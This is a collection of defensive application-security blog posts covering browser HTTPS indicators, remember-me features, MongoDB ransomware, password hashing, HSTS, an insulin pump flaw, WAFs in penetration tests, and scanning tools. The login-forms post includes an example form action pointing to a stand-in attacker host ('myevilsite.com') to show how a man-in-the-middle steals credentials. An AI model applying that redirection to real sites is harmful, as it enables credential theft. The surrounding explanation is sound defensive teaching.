Secure Notification Updates in FireFox and Chrome

There has been a steady increase in the number of applications that have switched to using HTTPS instead of HTTP for communication. Even sites that have no sensitive information or authentication mechanisms. Using HTTPS provides authentication and a secure channel to transmit data between client and server. The authentication verifies that you are communicating with the organization you thought you were. This secure transmission is meant to stop other parties from being able to read or manipulate the user’s traffic. For non-sensitive applications, it is that ability to manipulate the traffic that we are trying to protect against.

Mozilla announced that the next version of FireFox, Firefox 51, will be changing how it presents the lock icon to represent security issues with the site. Traditionally, there would be a green lock icon for secure sites and no lock icon for sites that use HTTP. The new changes will introduce a grey lock icon with a red slash through it when a site is using HTTP and collects passwords. In addition, there will be a note indicating that “Logins entered on this page could be compromised.”

Mozilla also hints at some additional changes on the roadmap. In particular, a potential indicator on the password field that will alert the user that the account details are insecure and may be compromised. It will be interesting to see how this feature will be implemented, especially if the browser will inject code into the application code. This could raise some concerns for many others out there.

Back in September, 2016, Google announced that Chrome was making similar changes that would take effect in January. I did a podcast on this which is included here.

Google is going further than just passwords and including credit card number fields. There wasn’t much mentioned for FireFox about anything other than passwords. In both browsers, changes should be available soon. Help spread the word about the new changes so your users, your friends, and your family know what the new indicator really means.

You may be surprised at the number, or type of sites that may be affected by this. There are many forums and other community sites that get created without using HTTPS for transmission. This may be because the site owner doesn’t realize the benefits of using HTTPS. They may also not think that the site contains sensitive information, so why add the overhead. However, many of these sites do require you to create an account and log in with a password. Unfortunately, many people re-use passwords so na attacker getting that forum password may have also just gotten your password for other sites. Not to mention, they could impersonate you on the specific site.

In the absence of sensitive or account information, using HTTPS provides protection from traffic manipulation. Even rising a corporate landing page, an attacker on the same network could inject malicious code into the response to attempt malicious activity on your system.

What are your thoughts? Are you for the browsers making these types of changes? Do you think it is an overreach? If so, why? Share your thoughts on twitter or join our slack channel to join the conversation (send me an email for an invite).


Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you. James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

Remember Me Features

Tired of constantly logging into your applications? Don’t you wish they would just remember you each time you visit, logging you right in? It isn’t as always easy to achieve such a status. There are multiple ways remember me can be implemented. Lets take a look at some of them.

Remember UserName

One of the most common ways for a site to implement the remember me functionality is to remember the username only. The username is typically stored in a cookie on the client’s computer. Remembering the username helps speed up the authentication process, but doesn’t eliminate it. The user still has to enter their password to gain access to the application. Although this is a common technique, some organizations may have data classification policies that don’t allow displaying the username in the application. This can also carry over to the username and the login screen. For these organizations, they may not implement a remember me feature at all. Remembering the username does contain some risk, as it instantly provides the username to an attacker on the user’s computer. This leaves just the password for the attacker to determine, which may be feasible if the user re-uses passwords that have been previously breached.

Long-term Auth Cookies

Another common technique for remembering a user is to set an authentication cookie that has a long life. Once you login, a cookie is created that may not expire for a year or longer. This allows you to be automatically logged in each time you visit the site. I am sure you can think of a few sites that provide this functionality. It is common among some of the social media sites people visit all the time. This is not recommended for any type of sensitive applications because it would allow immediate access to anyone that gains access to the user’s device.

Storing Password Locally (Remember Password)

Another option, that probably shouldn’t be an option, is storing the password on the user’s computer. This was recently seen on a web application, however we won’t mention the site that did this. We can, however learn from their decisions. In the application, they used CryptoJS to encrypt and decrypt this type of sensitive data. In this case, they stored the password in a cookie. With the encryption routines available on the client, it is possible to use them to decrypt the encrypted password with very little effort. This is typically the case any time the routines are made available, especially if the keys are available as well. While I am sure this was done with good intentions, the implementation is not very secure. As a matter of fact, it provides more of a false sense of security. This is most likely due to the use of encryption. It is not recommended to perform this type of encryption client-side, nor is it recommended to store the user’s password on the client like this.

What Next?

There are multiple options to help ease the burden of frequently logging into an application. Depending on the type of application, data stored, and sensitivity of the transactions, the options should be considered carefully. Providing the option to remember a username is convenient with some residual risk. Keeping a user logged in for extended periods of time increase the risk, but may be acceptable depending on the application and its use. Stay away from storing the user’s password locally on the computer they are using. Secure implementation is not easy or straightforward, increasing the risk levels.


Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you. James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

Introducing our Slack channel

It is a new year and time for some new ways for all of us to communicate. We appreciate all that have read the posts and listened to the podcast. Both of these will continue to move forward in 2017 with some new material on the way.

We are happy to announce we have started a Slack channel. You can find it at developsec.slack.com. The blog and podcasts have been great in providing information in a read-only manner. Slack is an opportunity to open up more conversation and create more dialog. A chance for us all to share stories and work out problems.

The channel is dedicated to application security topics. This means web, mobile, IoT, and whatever else is running applications. The goal is to provide a mechanism to bring application security into our everyday life. If you are interested in being a part of the DevelopSec Slack group, just drop me a line at james@jardinesoftware.com. I will send you out an invite.

DevelopSec encourages developers, business analysts, QA, and other application team members to take part in this great new opportunity.

Here is to 2017. A new year with new opportunities. As always, feel free to reach out to discuss AppSec.

MongoDBs under attack from ransomware

In recent news, it was identified that MongoDB databases are being exposed on the internet and infected with ransomeware. In a little under a week, the infection count went from 200 to 10,000. That is a quick ramp up.

In this case, misconfigurations may bind the database port to the public interface, while also allowing anonymous access. This combination can be devastating. Doing a quick search on Shodan you may find there are thousands of misconfigured MondoDB servers exposed on the internet.

Like many other software packages, MongoDB has a security checklist available to help minimize this exposure. The checklist covers important steps, such as enforcing authentication and limiting network exposure. I am seeing more packages that are including security checklists, or security guides that are available. If you are installing something new, take a moment to see if there is a guide availble to properly secure the item.

In addition to the security checklist, the creators of MongoDB have created a post addressing the ransomware attacks that are happening. This link points out a few other items to help secure your MongoDB instance. It also points out that the most popular installer for MongoDB (RPM) limits network access to localhost. This default configuration is critical in helping reduce the exposure of these databases.

As time goes on, I expect we will see more improvements made to these types of products that make them more secure by default. As an organization developing this type of software, or devices, think about how the item is installed and how that reflects security. Starting off more secure and requiring explicit configuration to open make the item available will provide much better protection than it being open by default.

If you are running MongoDB, go back and check the security checklist. Make sure you are not exposing the instance publicly and authentication is enabled. Also make sure you are taking proper backups to help recover if your data is manipulated. If you are running other software or devices, make sure to know where they are and determine if they are deployed securely. Check to see if a security checklist exists.

There are lots of exposed MongoDB databases available. Take a moment to make sure yours are not part of that count.


Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you. James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

The 1 thing you need to know about the Daily Motion hack

It was just released that Daily Motion suffered a hack attack resulting in a large number of usernames and email addresses being released. Rather than focusing on the number of records received (the wow factor), I want to highlight what most places are just glancing over: Password Storage.

According to the report, only a small portion of the accounts had a password associated with it. That is in the millions, and you might be thinking this is bad. It is actually the highlight of the story. Why? Daily Motion used bcrypt to hash their user passwords before storing them.

Bcrypt uses both a salt value and a work factor when hashing the data. The salt has been a long time recommendation when hashing passwords as it can help reduce rainbow table attacks. The work factor, which has been recommended much more in recent years makes brute forcing passwords work intensive. This means that it requires more time per password, slowing down large cracking attacks.

Bcrypt is not the only option either. PBKDF and Scrypt are other available options that work in a similar way.

Using a strong algorithm makes it much more difficult to crack the passwords in the event that they are hacked some how. The use of any of these algorithms doesn’t rule out the possibility of cracking the passwords. They just make it much more difficult or time intensive. There are always circumstances that can change this. However, using one of these algorithms can go a long way in helping protect that data.

How are you storing passwords?

Take a moment to look at how you are storing passwords and consider how it will stand up in the event of breached account details. Do you use a unique salt for each password? Do you implement a work factor to slow cracking attempts down?

How would you handle this type of breach?

If accounts were to be breached like this, how would you handle it? Do you have a process in place? Would you force password resets? How would you notify users? Consider these types of questions to verify you have a plan in place.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

SSL Labs and HSTS

Qualys recently posted about some grading changes coming to SSL Labs in 2017. If you are not aware of SSL Labs, it is a service to check your SSL/TLS implementation for your web applications to determine how secure they are. While there were more changes listed, you can read about them in the link above, I wanted to focus on the one regarding HTTP Strict Transport Security (HSTS).

If you haven’t heard of HSTS, or want a quick refresher, you can check out this post: HTTP Strict Transport Security (HSTS): Overview.

According to Qualys, the changes regarding HSTS will not be implemented until later in 2017, not with the initial set of changes. However, this early notification may help some companies make preparations for the change. Here is what they say about HSTS grading changes:

  • HSTS Preloading required for A+
  • HSTS required for A

Some organizations have specific requirements to the grade they expect to receive on the SSL Labs report. If an A is your target, HSTS is going to be a critical component for that. Even if it is not, this change is a clear indication that HSTS does not look like it is going away.

HSTS is a great way to help increase the security of your transmission from browser to server. However, it may not be something that can just be turned on. We have seen many sites have difficulty going to 100% HTTPS, and HSTS doesn’t play well with mixed content. It also doesn’t play well with self-signed certificates. While these are important for the increased security it provides, this is where the difficulty may come in.

If you are not using HSTS currently, now may be the time to start thinking about it. Creating the header is typically not very difficult. Testing to make sure nothing breaks because of it can be a bit more tedious. Want to know more about HSTS or application security?

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

Insulin Pump Vulnerability – Take-aways

It was recently announced that there were a few vulnerabilities found with some insulin pumps that could allow a remote attacker to cause the pump to distribute more insulin than expected. There is a great write up of the situation here. When I say remote attack, keep in mind that in this scenario, it is someone that is within close proximity to the device. This is not an attack that can be performed via the Internet.

This situation creates an excellent learning opportunity for anyone that is creating devices, or that have devices already on the market. Let’s walk through a few key points from the article.

The Issue

The issue at hand was that the device didn’t perform strong authentication and that the communication between the remote and the device was not encrypted. Keep in mind that this device was rolled out back in 2008. Not to say that encryption wasn’t an option 8 years ago, for these types of devices it may not have been as main stream. We talk a lot about encryption today. Whether it is for IoT devices, mobile applications or web applications, the message is the same: Encrypt the communication channel. This doesn’t mean that encryption solves every problem, but it is a control that can be very effective in certain situations.

This instance is not the only one we have seen with unencrypted communications that allowed remote execution. It wasn’t long ago that there were computer mice and keyboards that also had the same type of problem. It also won’t be the last time we see this.

Take the opportunity to look at what you are creating and start asking the question regarding communication encryption and authentication. We are past the time where we can make the assumption the protocol can’t be reversed, or it needs special equipment. If you have devices in place currently, go back and see what you are doing. Is it secure? Could it be better? Are there changes we need to make. If you are creating new devices, make sure you are thinking about these issues. Communications is high on the list for all devices for security vulnerabilities. Make sure it is considered.

The Hype, or Lack of

I didn’t see a lot of extra hype over the disclosure of this issue. Often times, in security, we have a tendency to exaggerate things a bit. I didn’t see that here and I like it. At the beginning of this post I mentioned the attack is remote, but still requires close physical proximity. Is it an issue: Yes. is it a hight priority issue: Depends on functionality achieved. As a matter of fact, the initial post about the vulnerabilities states they don’t believe it is cause for panic and the risk of wide scale exploitation is relatively low. Given the circumstances, I would agree. They even go on to say they would still use this device for their children. I believe this is important because it highlights that there is risk in everything we do, and it is our responsibility to understand and choose to accept it.

The Response

Johnson and Johnson released an advisory to their customers alerting them of the issues. In addition, they provided potential options if these customers were concerned over the vulnerabilities. You might expect that the response would downplay the risk, but I didn’t get that feeling. They list the probability as extremely low. I don’t think there is dishonesty here. The statement is clear and understandable. The key component is the offering of some mitigations. While these may provide some inconvenience, it is positive to know there are options available to help further reduce the risk.

Attitude and Communication

It is tough to tell by reading some articles about a situation, but it feels like the attitudes were positive throughout the process. Maybe I am way off, but let’s hope that is true. As an organization it is important to be open to input from 3rd parties when it comes to the security of our devices. In many cases, the information is being provided to help, not be harmful. If you are the one receiving the report, take the time to actually read and understand it before jumping to conclusions.

As a security tester, it is important for the first contact to be a positive one. This can be difficult if you have had bad experiences in the past, but don’t judge everyone based on previous experiences. When the communication starts on a positive note, the chances are better it will continue that way. Starting off with a negative attitude can bring a disclosure to a screeching halt.

Conclusion

We are bound to miss things when it comes to security. In fact, you may have made a decision that years down the road will turn out to be incorrect. Maybe it wasn’t at the time, but technology changes quickly. We can’t just write off issues, we must understand them. Understand the risk and determine the proper course of action. Being prepared for the unknown can be difficult, but keeping a level head and honest will make these types of engagements easier to handle.

Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

WAF and your penetration test

Your penetration tester wants you to disable your web application firewall (WAF) or white list their IP. Do you do it? Should you do it?

This question gets asked all the time and it is important to understand the pros and cons to the final decision.

First, let’s understand why the request to disable the WAF for the tester is presented in the first place. The first reaction may be just lazy testing, but that is not the reason. One of the goals of testing an application is to test the application, not a component in front of it. While the WAF is there to stop these types of attacks, it also prohibits understanding the security stance of the application itself.

Getting direct access to the application helps build a better picture of the security of the application. For example, if your WAF is blocking common vulnerabilities (which is good, that is what it is supposed to do) you may not ever realize that you are suffering from insecure coding practices. This may be apparent if other vulnerabilities are identified, however you can’t understand the depth at which the insecure practices are being executed.

Second, WAFs have been victim to bypasses many times in the past. So testing through the WAF may block many attempts of attack, but that doesn’t mean that the vulnerability doesn’t exist. WAF bypass attempts can be a drain on your assessors time and may also then limit the rest of the testing that can be performed in the limited timeframe. Even if the assessor can do an in-depth bypass test, it doesn’t mean a bypass won’t be discovered in the product at a later time.

Finally, what happens if your WAF gets disabled, or misconfigured? This is always a risk with any device. An issue arises and for troubleshooting you put the WAF back in passive mode. You push a rule change that doesn’t work as expected, leaving attack opportunities open. These issues could arise and the application becomes more vulnerable. Unfortunately, you may not even know how vulnerable because the issues were not identified during a test.

When we perform assessments with WAFs in place, we recommend to our clients to allow us direct access to the application for the first portion of the test. This can be doing by white listing our IP address. This is better than disabling the WAF altogether, if possible. We don’t want to open the application up to attack by others during our assessment. Allowing direct access allows us to test the application, not the WAF, to identify vulnerabilities. This gives a more accurate picture of the risk of the application and secure development practices.

The second part of the test will go through the WAF. This allows us to verify if specific vulnerabilities that were found in the application are being effectively blocked by the WAF. This allows a better understanding of the effectiveness of the WAF. You would want to know if the WAF was easily bypassed and a rule change may be needed.

Determining whether or not to allow direct access or not during a test is not always easy. As a tester, you may not always get the direct access. As a client, you may not always want to grant the access. A lot of this depends on your goals of the test. Having an understanding of why direct access is requested helps clients better understand what they are getting out of that assessment.

If you are getting ready to have a penetration test and have implemented a WAF, make sure you have given this topic some thought before the kick-off. Be prepared to provide a response with an understandable explanation for your decision.

Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

Login Forms and HTTP

Does your application have a login form? Do you deliver it over HTTPS to protect the username and password while being transmitted to the server? If you answered yes to both of those questions, are you sure?

Many years ago, before there was a huge push for HTTPS all the time, it was common practice for many applications to load a login form using HTTP, but then submit the form over HTTPS. This was accomplished by setting the action attribute of the form to the full HTTPS version of the site.

<form action=”https://www.somesite.com/login” method=”post”>

There was a flaw in this setup. The flaw is not even with the submission of your credentials. Instead, the issue is how that login form is initially loaded. Remember we said that the initial request was HTTP? The belief was that because the loading of the form doesn’t transmit any sensitive data, it would be ok to use HTTP. You could even take a trip back to the performance wars during that time stating that HTTP was much faster to load. (We learned a lot of the years).

The problem is that if there is a malicious user (attacker) on your same network that is able to redirect your traffic through them they could manipulate the initial load of the page. Imagine if the attacker intercepted your request to the login page (initial load) and changed the action of the form to a different site?

<form action=”http://myevilsite.com/login” method=”post”>

Notice how the new form submission will go to a different site, not even using HTTPS. From the end user’s point of view they wouldn’t even know the form was going to send their credentials to a different site.

Over the years, we have seen the use of this methodology shrinking down. Many sites are now loading their login forms all over HTTPS. As a matter of fact, many sites are 100% HTTPS.

But Wait!!

There is another angle to this that is often overlooked, but works very similar. Does your site allow it to be loaded into frames? I have seen a lot of sites that have been including another application’s login form using either frame sets or frames. The issue, the container site is often a simple marketing or branding site and runs over HTTP.

Like the above example, the HTTP site is including a frame reference to an HTTPS site. Again, the login form submission is still correct. However, it is possible that the attacker from the previous scenario could intercept the containing page and change the reference for the login frame. In this case, the attacker would most likely create a page that is identical to the real login form and point the frame to that one. The user would have no idea that the authentication page was incorrect, because it would look like the original. When the user submits their credentials, they would then be submitted to the malicious user instead of the real site.

It is recommended to not allow your site to be hosted within a sub frame. There are plenty of articles that discuss frame busting techniques and you could look into the X-Frame-Options header as well. If your form doesn’t load in a frame then your risk of being included on a non-secure site is reduced. For all other scenarios, there isn’t a lot of reason to not be using HTTPS from end to end. By securing all of the transactions, it reduces the risk that an attacker can easily manipulate that traffic.

Does SAST and DAST Really Require Security Experts To Run Them?

There is no argument that automated tools help quickly identify many of the vulnerabilities found in applications today. Tools are typically categorized into one of the following three categories:

  • Dynamic Application Security Testing (DAST) – analyzes the running application.
  • Static Application Security Testing (SAST) – analyzes the source or byte code of the application.
  • Interactive Application Security Testing (IAST) – uses agents installed on the web server to instrument the application and analyze it at runtime. This gives access to both dynamic and static details.

These tools are becoming more popular within organizations as part of their application security programs. While there is still a large gap that can only be filled by manual testing, the automated tools are a good first step.

Are these security tools or development tools?

This depends on what your goal is. Ultimately, they are focused on finding security flaws which make them a “security” tool, however that doesn’t mean it is meant for the security team. I have been presenting for a long time on the idea that many of these tools should be considered development tools and placed in the hands of development and QA. To understand where they fit in your organization, you have to understand how you want to use them.

The application team should be using these tools to help quickly identify security bugs earlier on in the SDLC. To make this work efficiently, this should be considered a development tool. Let’s look at how SAST is used by developers. Developers have the ability to scan their source code using their chosen SAST tool. In many cases, these tools may provide an IDE plugin to make the process easier. As the developer writes their code, they can perform regular scans in smaller increments to quickly identify potential security threats. Once identified, the code can be corrected before it even leaves the development queue. In other instances, SAST is embedded into the continuous integration pipeline and scans can be run on check-in or other predefined activities. The results are immediately available to the development teams to review and make corrections.

The security team should be using these tools differently than the development teams. Security is typically more interested in the risk an application presents to the application. In the use of these tools, they provide valuable information that can be reported on to help analyze that risk. The security team should also be involved in the creation of policies and procedures around the implementation and use of the tools provided.

I thought only security experts can run these tools?

I believe this is a myth that only security experts can run these types of tools. Developers have long had static analysis tools built right into their IDEs, they just didn’t have a focus for security flaws. QA groups use all sorts of automated tools to assist in application testing. Lets take a look at each of the tool categories again.

DAST

Dynamic scanners usually require at minimum three pieces of information to get started: URL, Username, Password. Most of these scanners are either a windows or web application with a GUI. Setting up a scan is usually not to complex and fairly straightforward. I will admit that some applications, depending on how the login works or how routing is configured, can require a more complex setup. Depending on the scanner, you may be able to perform other advanced settings, but these are not difficult to learn.

Once the scan has completed, the results are provided in a GUI as well. The GUI typically provides a simple way to then view each of the findings identified, including the request and response the scanner sent and received. In dynamic scanning, the request and response are helpful in identifying where the issue is in the application. The tool will also usually provide a description of the vulnerability and references to more information. Based on my experience, reviewing findings in the provided GUI is much more efficient than trying to review an exported PDF of the results. A GUI that provides easy navigation is much better received than a 100-200 page PDF report that can’t really be consumed.

Dynamic scanning fits right into the QA process of scanners and can be easily executed by the QA or development team. This is good, because it can be executed against the QA or other pre-prod instances which are owned by the QA and development groups.

SAST

Static scanners analyze your binaries or source code. As expected, they need either the source code itself, or a compiled version of the code. Depending on the tool, you may have to submit the binaries to a service or select them using a local interface. The most difficult part in the process is usually getting the code to compile correctly with debug symbols and components. This compilation is usually done by the development team or DevOps if that has been implemented.

Once the scan is complete, the results are provided either in a web interface or in a local GUI. These results can then be inspected to view details about the issue, just like in the DAST solutions. The big difference being that in SAST you won’t see a request/response, rather you see the file and line of code indicated as well as the source and sink of the vulnerability. The source and sink help trace the data as it passes through the application to the vulnerable line of code. This is useful in helping understand the vulnerability to resolve it. There is a lot of efficiency gained in being able to view these details in a simple manner. The other option is exporting the results to a PDF file which is very inefficient.

Due to the results referencing source code, developers are put into an environment they understand. With some understanding of how security flaws work and are addressed, developers can review the results and take appropriate actions to address them.

IAST

Interactive testing uses an agent on the web server to instrument the application. Basically, it injects code into the application to analyze it as it runs. Due to performance hits, this is a great tool for pre-production environments. It also relies on the code being executed.. basically, if your application is not being used, it won’t analyze the code. This also makes it great for a QA environment or regression testing environment. The setup just requires installing the agent onto the server. The results are displayed, as they are found, in a web interface. These results include the source code and the request/response values. Having direct access to the tool provides an efficient way to view the details to then provide remediations to them.

Review how you use these tools

It has been my experience that more than just security experts can run any of these tools. There may be some tweaking that can be done and requires learning how the tools works, but this is something anyone on the dev or QA teams can adapt to. Take a look at your current program. If you are using any of these tools, look at how you are using them and who has access. Is your current process efficient? Does it make it harder than it needs to be? If you are not using these tools and looking to implement any of them, look at the resources you have and get the development teams involved. Think about where you want these tools to sit and how you want to take advantage of them. They don’t have to be locked down to a security team. Use the resources you have and allow the application teams to take ownership of the tools that will help them create more secure applications.

Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.